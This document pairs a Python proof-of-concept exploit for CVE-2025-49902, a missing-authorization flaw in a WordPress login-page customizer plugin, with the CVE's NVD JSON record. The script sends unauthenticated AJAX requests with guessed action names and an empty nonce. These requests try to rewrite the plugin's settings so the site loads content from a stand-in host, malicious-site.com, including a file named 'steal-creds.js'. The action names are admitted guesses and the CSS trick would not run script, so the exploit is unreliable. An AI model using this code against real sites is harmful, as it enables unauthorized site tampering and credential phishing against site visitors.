CVE-2025-49902

import requests # CVE-2025-49902 PoC - Missing Authorization in Customizer Login Page # Target: WordPress site with customizer-login-page plugin <= 2.1.1 TARGET_URL = "http://target-wordpress-site.com" # The vulnerable endpoint (example - actual endpoint needs enumeration) VULNERABLE_ENDPOINT = f"{TARGET_URL}/wp-admin/admin-ajax.php" def check_vulnerability(): """Check if target is vulnerable to CVE-2025-49902""" # Step 1: Identify the vulnerable action/endpoint # The plugin lacks proper capability checks on certain AJAX actions # Example payload - enumerate plugin-specific actions vulnerable_actions = [ "customizer_login_page_save_settings", "clp_save_customizer_options", "customizer_login_save_data" ] for action in vulnerable_actions: # Step 2: Send request without authentication or with low-privilege user # The plugin doesn't verify user capabilities properly payload = { "action": action, "nonce": "", # May not be properly validated "settings": { "login_logo_url": "https://malicious-site.com/fake-login.png", "custom_css": "body { background: url('https://malicious-site.com/steal-creds.js'); }" } } response = requests.post(VULNERABLE_ENDPOINT, data=payload) # Step 3: Check if unauthorized action was successful if response.status_code == 200 and "success" in response.text: print(f"[+] VULNERABLE: Action '{action}' executed without proper authorization") return True return False # Note: This PoC demonstrates the concept. Actual exploitation requires # enumerating the specific vulnerable endpoints in the plugin code.

{"cve": {"id": "CVE-2025-49902", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:15:51.817", "lastModified": "2026-04-28T19:33:11.967", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in A WP Life Login Page Customizer – Customizer Login Page, Admin Page, Custom Design customizer-login-page allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Login Page Customizer – Customizer Login Page, Admin Page, Custom Design: from n/a through <= 2.1.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/customizer-login-page/vulnerability/wordpress-login-page-customizer-customizer-login-page-admin-page-custom-design-plugin-2-1-1-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}